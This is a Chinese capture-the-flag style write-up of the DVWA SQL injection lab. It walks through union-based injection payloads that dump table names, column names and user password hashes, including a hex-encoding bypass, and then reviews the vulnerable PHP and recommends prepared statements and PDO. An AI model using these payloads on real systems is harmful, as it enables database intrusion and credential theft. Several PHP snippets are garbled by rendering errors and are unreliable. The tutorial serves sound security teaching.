DVWA靶场通关——SQL Injection篇

一,Low难度下 union+get+字符串+select****注入

1,首先手工注入判断是否存在SQL注入漏洞,输入1

这是正常回显的结果,再键入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

发生报错,再键入1"

结果并不报错,这说明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容执行。那么推断闭合方式为单引号

2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段

1' order by 2#

至少存在两个字段,

1' order by 3#

不存在第三个字段,那么就只有两个字段

3,接着使用union操作符判断回显点 1' union select 1,2#

由此可以看到存在两个回显点,接着参考数据库名和版本

1' union select database(),version()#

4,对查询语句的限制并不多,可以用union语句开始爆库。

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

使用user表,再报user表下字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

5,最后就爆破出用户和密码字段的内容了,并且使它们成对显示

1' union select user,password from users#

由此,成功通关

查看并分析源码内容

该PHP代码段的主要功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将结果显示给用户。代码支持两种数据库:MySQL和SQLite。

代码结构

  1. 输入处理:通过$_REQUEST['Submit']判断是否提交了表单,并获取用户输入的id。
  2. 数据库选择:根据$_DVWA['SQLI_DB']的值选择使用MySQL还是SQLite。
  3. 查询执行
    • MySQL:使用mysqli_query执行SQL查询,并通过mysqli_fetch_assoc获取结果。
    • SQLite:使用SQLite3对象执行查询,并通过fetchArray获取结果。
  4. 结果显示:将查询结果格式化为HTML并输出。

安全问题

该代码存在严重的SQL注入漏洞,主要问题在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处理。攻击者可以通过构造恶意输入来执行任意SQL命令,从而获取或篡改数据库中的数据。

改进建议

  1. 使用预处理语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
  2. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
  3. 错误处理:改进错误处理机制,避免在生产环境中暴露详细的错误信息。

查看源码查询语句

KaTeX parse error: Expected group as argument to '\=' at position 69: ...ERE user\_id \= ̲'id';";

r e s u l t = m y s q l i _ q u e r y ( result = mysqli\_query( result=mysqli_query(GLOBALS["___mysqli_ston"], q u e r y ) o r d i e ( ′ < p r e > ′ . ( ( i s _ o b j e c t ( query ) or die( '<pre>' . ((is\_object( query)ordie(′<pre>′.((is_object(GLOBALS["_mysqli_ston"])) mysqli_error(KaTeX parse error: Undefined control sequence: \[ at position 8: GLOBALS\̲[̲"\\\mysqli\...___mysqli_res = mysqli_connect_error()) $___mysqli_res : false)) . '' );

这段代码是一个使用PHP和MySQL进行数据库查询的示例。它从users表中选择first_name和last_name,条件是user_id等于变量$id的值。

潜在的安全问题

该代码存在SQL注入的潜在风险,因为 i d 变量直接嵌入到 S Q L 查询字符串中,没有进行任何形式的转义或预处理。如果 id变量直接嵌入到SQL查询字符串中,没有进行任何形式的转义或预处理。如果 id变量直接嵌入到SQL查询字符串中,没有进行任何形式的转义或预处理。如果id的值来自用户输入,攻击者可以通过构造恶意输入来执行任意SQL命令。

改进建议

为了防止SQL注入,建议使用预处理语句(Prepared Statements)和参数绑定。以下是改进后的代码示例:

s t m t = m y s q l i _ p r e p a r e ( stmt = mysqli\_prepare( stmt=mysqli_prepare(GLOBALS["___mysqli_ston"], "SELECT first_name, last_name FROM users WHERE user_id = ");

mysqli_stmt_bind_param($stmt, "i", i d ) ; m y s q l i _ s t m t _ e x e c u t e ( id); mysqli\_stmt\_execute( id);mysqli_stmt_execute(stmt);
r e s u l t = m y s q l i _ s t m t _ g e t _ r e s u l t ( result = mysqli\_stmt\_get\_result( result=mysqli_stmt_get_result(stmt);

if (!KaTeX parse error: Expected '}', got 'EOF' at end of input: ... mysqli\_error(GLOBALS["___mysqli_ston"]) . '');

}

解释

  1. 预处理语句:mysqli_prepare函数创建一个预处理语句,其中是占位符,用于替换实际的参数。
  2. 参数绑定 :mysqli_stmt_bind_param函数将变量 i d 绑定到预处理语句中的占位符。 " i " 表示 id绑定到预处理语句中的占位符。"i"表示 id绑定到预处理语句中的占位符。"i"表示id是一个整数。
  3. 执行语句:mysqli_stmt_execute函数执行预处理语句。
  4. 获取结果:mysqli_stmt_get_result函数获取查询结果。
  5. 错误处理:如果查询失败,使用mysqli_error函数获取错误信息并终止脚本。

通过这种方式,可以有效防止SQL注入攻击,提高代码的安全性。

二,Medium 难度下union+post+整数型+select注入

1,该网页仅允许我们通过下拉表单的格式提交数据

2,可以挂上burpsuite拦截一个包分析一下,

3,那么就可以知到网页使用POST请求方式提交查询语句,并且固定格式为id=表达数据&Submit=Submit。那么这个POST型注入可以用两种工具解:burp suite和hackbar。为了简单这里使用hackbar

判断闭合方式,输入1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

发生报错,再输入1"还是发生报错。当知道是下拉表达方式提交数据,其实就能判断出是数字型注入了

4,order by操作符判断数据表有几列

id=1 order by 2&Submit=Submit

正常回显,证明至少有2列。id=1 order by 3&Submit=Submit

发生报错,说明数据表只有两列

5,union操作符确定回显位置 id=1 union select 1,2&Submit=Submit

由此就知道了1,2两个位置都能正常回显数据,再爆出数据库名和数据库版本

id=1 union select database(),version()&Submit=Submit

6,开始爆破数据库中数据表名。

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

从users数据表里面爆出所有字段名

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'&Submit=Submit

发生报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users'' at line 1

错误信息提示在''users''附近有语法问题,可以尝试将users经十六进制编码为0x7573657273以绕过对表名的过滤

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit

再爆出user,password数据并且使其成对显示

id=1 union select user,password from users&Submit=Submit

成功爆出账户和密码信息

查看并分析源码内容

  1. 表单提交处理
    1. 代码首先检查是否提交了表单(通过$_POST['Submit']是否设置来判断)。
    2. 如果表单提交,获取用户输入的id,并使用mysqli_real_escape_string函数对输入进行转义,以防止SQL注入。
  2. 数据库查询
    1. 根据$_DVWA['SQLI_DB']的值(MYSQL或SQLITE),代码分别处理MySQL和SQLite数据库的查询。
    2. 对于MySQL数据库,使用mysqli_query执行查询,并使用mysqli_fetch_assoc获取结果。
    3. 对于SQLite数据库,使用$sqlite_db_connection->query执行查询,并使用fetchArray获取结果。
  3. 结果显示
    1. 查询结果通过循环遍历,将每个用户的first_name和last_name格式化后显示在页面上。
  4. 统计用户数量
    1. 代码最后执行一个查询,统计users表中的用户总数,并将结果存储在$number_of_rows变量中。
  5. 数据库连接关闭
    1. 代码在最后关闭了MySQL数据库连接(mysqli_close)。

改进建议

  1. 使用预处理语句
    • 对于MySQL,建议使用mysqli_prepare和mysqli_stmt_bind_param来执行查询。
    • 对于SQLite,可以使用sqlite3_prepare和sqlite3_bind_param。
  2. 错误处理
    • 在生产环境中,建议捕获异常并记录日志,而不是直接输出错误信息。
  3. 代码结构优化
    • 将数据库连接和查询逻辑封装到函数或类中,提高代码的可维护性和可读性。

medium难度和 lowphp****源码相比

输入处理方式

在第一段代码中, i d 变量直接从 id变量直接从 id变量直接从_REQUEST数组中获取,并且没有进行任何转义或过滤处理。这意味着$id变量可能包含用户输入的恶意数据,存在SQL注入风险。

id = _REQUEST[ 'id' ];

在第二段代码中, i d 变量同样从 id变量同样从 id变量同样从_POST数组中获取,但在传递给SQL查询之前,使用mysqli_real_escape_string函数对其进行了转义处理,从而减少了SQL注入的风险。

id = _POST[ 'id' ];
i d = m y s q l i _ r e a l _ e s c a p e _ s t r i n g ( id = mysqli\_real\_escape\_string( id=mysqli_real_escape_string(GLOBALS["___mysqli_ston"], $id);

SQL查询语句

在第一段代码中,SQL查询语句直接将$id变量嵌入到字符串中,这可能导致SQL注入攻击。

q u e r y = " S E L E C T f i r s t _ n a m e , l a s t _ n a m e F R O M u s e r s W H E R E u s e r _ i d = ′ query = "SELECT first\_name, last\_name FROM users WHERE user\_id = ' query="SELECTfirst_name,last_nameFROMusersWHEREuser_id=′id';";

在第二段代码中,SQL查询语句将$id变量作为参数传递,而不是直接嵌入到字符串中,这使得SQL注入攻击更难以成功。

query = "SELECT first_name, last_name FROM users WHERE user_id = id;";

数据库连接关闭

两段代码在处理完数据库查询后都关闭了数据库连接,这一点是相同的。

mysqli_close($GLOBALS["___mysqli_ston"]);

总结

  • 安全性:第二段代码通过使用mysqli_real_escape_string函数对用户输入进行转义处理,显著提高了代码的安全性,减少了SQL注入的风险。
  • 输入来源 :第一段代码从 _ R E Q U E S T 数组中获取输入,而第二段代码从 \_REQUEST数组中获取输入,而第二段代码从 _REQUEST数组中获取输入,而第二段代码从_POST数组中获取输入,后者更明确地限制了输入来源。
  • SQL查询:第二段代码的SQL查询语句更安全,因为它避免了直接将用户输入嵌入到查询字符串中。

三,low难度下

1,观察一下页面,发现是给定一个弹窗让我们change ID

直接输入1的效果如下

burpsuite拦截直接抓个包看看

当我在弹窗里面输入1测试,发现提交请求方式变成了POST

2,判断一下字符串闭合方式,输入1'

发生报错,再输入1"

没有发生报错,那么猜测为闭合方式为单引号(输入1'#就能不报错证明)

3,order by判断存在字段数 1' order by 2#

证明至少有2列存在,再输入 1' order by 3#

那么该数据表就只有两列

4,union操作符判断数据回显位置

回显位置存在两个,爆一下数据库名和数据库版本

1' union select database(),version()#

5,爆出数据表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

再爆数据库名

1' union select 1,group_concat(column_name) from information_schema.columns where column_name='users'#

爆出用户名和密码

1' union select user,password from users #

成功通关

查看并分析源码内容

安全性问题

  1. SQL注入漏洞 :代码中直接将用户输入的$id变量插入到SQL查询中,存在SQL注入风险。攻击者可以通过构造恶意输入来执行任意SQL命令。
    q u e r y = " S E L E C T f i r s t _ n a m e , l a s t _ n a m e F R O M u s e r s W H E R E u s e r _ i d = ′ query = "SELECT first\_name, last\_name FROM users WHERE user\_id = ' query="SELECTfirst_name,last_nameFROMusersWHEREuser_id=′id' LIMIT 1;";
    解决方法:使用预处理语句(Prepared Statements)来防止SQL注入。

  2. 错误信息暴露 :代码中直接将数据库错误信息输出到前端,可能会暴露敏感信息给攻击者。
    or die( '

    复制代码
    Something went wrong.

    ' );
    解决方法:记录错误信息到日志文件,而不是直接输出到前端。

代码优化建议

  1. 代码格式化:代码中的双括号{{和}}是多余的,可以删除以提高代码可读性。
  2. 错误处理:在SQLite部分,错误处理不够完善,可以改进以提供更详细的错误信息。
  3. 数据库连接管理:在MySQL部分,数据库连接的关闭操作可以更简洁地实现。

四,impossible难度下

<<DVWA靶场------impossible难度SQL注入的源码分析.md>>

代码功能概述

该PHP代码的主要功能是根据用户提供的id参数,从数据库中查询对应的用户信息(包括first_name和last_name),并将查询结果显示给用户。代码支持两种数据库类型:MySQL和SQLite。

安全措施

  1. Anti-CSRF Token: 代码中使用了checkToken函数来验证用户提交的user_token是否与session_token匹配,以防止跨站请求伪造(CSRF)攻击。
  2. 输入验证: 代码通过is_numeric函数检查id是否为数字,并使用intval将其转换为整数,以防止SQL注入攻击。
  3. 参数化查询: 无论是MySQL还是SQLite,代码都使用了参数化查询(Prepared Statements)来执行SQL查询,进一步防止SQL注入攻击。

数据库操作

  1. MySQL :
    • 使用PDO(PHP Data Objects)进行数据库操作。
    • 通过bindParam方法将id参数绑定到SQL查询中。
    • 执行查询后,检查返回的行数是否为1,以确保只返回一条记录。
  2. SQLite :
    • 使用SQLite3扩展进行数据库操作。
    • 通过bindValue方法将id参数绑定到SQL查询中。
    • 由于SQLite3没有直接获取行数的方法,代码通过检查返回的列数来确保查询结果的正确性。

输出结果

  • 如果查询成功,代码将用户的id、first_name和last_name以HTML格式输出到页面上。
  • 如果查询失败或没有找到匹配的记录,代码不会输出任何信息。

数据库PDO技术

根据搜索结果,我们可以了解到,PDO(PHP Data Objects)是PHP中用于数据库操作的一种技术。以下是对数据库PDO技术的详细介绍:

1.什么是PDO?

PDO是PHP内置的一个数据库抽象层,它提供了一个统一的数据库访问接口,支持多种数据库管理系统(如MySQL、PostgreSQL等)。使用PDO,开发者可以更轻松地连接数据库、执行查询,并处理结果集。

2.安装和配置PDO

在使用PDO之前,需要确保PHP环境中已启用PDO扩展。通常,PDO是PHP默认安装的一部分,但可以在php.ini文件中检查以下行是否被注释:

extension=pdo_mysql

3.建立数据库连接

使用PDO连接数据库非常简单。以下是一个基本的连接示例:

try {$pdo = new PDO('mysql:host=localhost;dbname=testdb', 'username', 'password');

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

} catch (PDOException $e) {

echo '连接失败: ' . $e->getMessage();

}

在这个示例中,我们使用mysql:host和dbname来指定数据库的主机和名称,并设置错误模式,以便捕获异常。

4.使用预处理语句防止SQL注入

为了安全地执行数据库操作,建议使用预处理语句。预处理语句允许我们在执行查询时将参数绑定,从而避免SQL注入攻击。以下是一个INSERT语句的示例:

stmt = pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');

stmt-\>execute(\['name' =\> userName, 'email' => $userEmail]);

在这个示例中,:name和:email是参数占位符,实际的值在执行时通过关联数组传入。

5.更新和删除数据

更新和删除数据同样可以使用预处理语句。例如:

// 更新用户信息

stmt = pdo->prepare('UPDATE users SET email=:email WHERE name=:name');

stmt-\>execute(\['email' =\> newEmail, 'name' => $userName]);

// 删除用户

stmt = pdo->prepare('DELETE FROM users WHERE name=:name');

stmt-\>execute(\['name' =\> userName]);

6.事务处理

在涉及多个数据库操作时,使用事务可以确保数据一致性。如果其中一条操作失败,可以回滚所有操作。以下是事务处理的示例:

try {// 开始事务

$pdo->beginTransaction();

// 执行多个操作

stmt1 = pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');

$stmt1->execute(['name' => 'Alice', 'email' => '[email protected]']);

stmt2 = pdo->prepare('INSERT INTO orders (user_id, product) VALUES (:user_id, :product)');

stmt2-\>execute(\['user_id' =\> pdo->lastInsertId(), 'product' => 'Product A']);

// 提交事务

$pdo->commit();

} catch (Exception $e) {
// 回滚事务

$pdo->rollBack();

echo '操作失败: ' . $e->getMessage();

}

在这个示例中,我们开始一个事务并执行多个操作。如果任何一条操作失败,我们将回滚事务,确保数据的一致性。

7.错误处理

PDO提供了强大的错误处理机制。可以通过设置错误模式来捕获异常,确保我们能及时处理错误:

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try {// 数据库操作

} catch (PDOException $e) {

echo '数据库错误: ' . $e->getMessage();

}

8.最佳实践

  • 使用参数化查询:总是使用预处理语句来执行查询,以避免SQL注入。
  • 确保正确配置数据库连接和错误处理。
  • 使用事务处理来确保数据一致性。

通过以上介绍,我们可以看到PDO技术在PHP数据库操作中的重要性和实用性。它不仅简化了数据库操作,还提供了安全的机制来防止SQL注入和其他潜在的安全问题。

相关推荐
2301_802502331 小时前
哈工大计算机系统2025大作业——Hello的程序人生
数据库·程序人生·课程设计
Alan3165 小时前
Qt 中,设置事件过滤器(Event Filter)的方式
java·开发语言·数据库
TDengine (老段)6 小时前
TDengine 集群容错与灾备
大数据·运维·数据库·oracle·时序数据库·tdengine·涛思数据
Lao A(zhou liang)的菜园7 小时前
高效DBA的日常运维主题沙龙
运维·数据库·dba
迪迦不喝可乐7 小时前
mysql知识点
数据库·mysql
不太可爱的大白7 小时前
MySQL 事务的 ACID 四大特性及其实现原理
数据库·mysql
观测云9 小时前
HikariCP 可观测性最佳实践
数据库
文牧之9 小时前
PostgreSQL的扩展 dblink
运维·数据库·postgresql
趁你还年轻_9 小时前
Redis-旁路缓存策略详解
数据库·redis·缓存
在云上(oncloudai)10 小时前
AWS DocumentDB vs MongoDB:数据库的技术抉择
数据库·mongodb·aws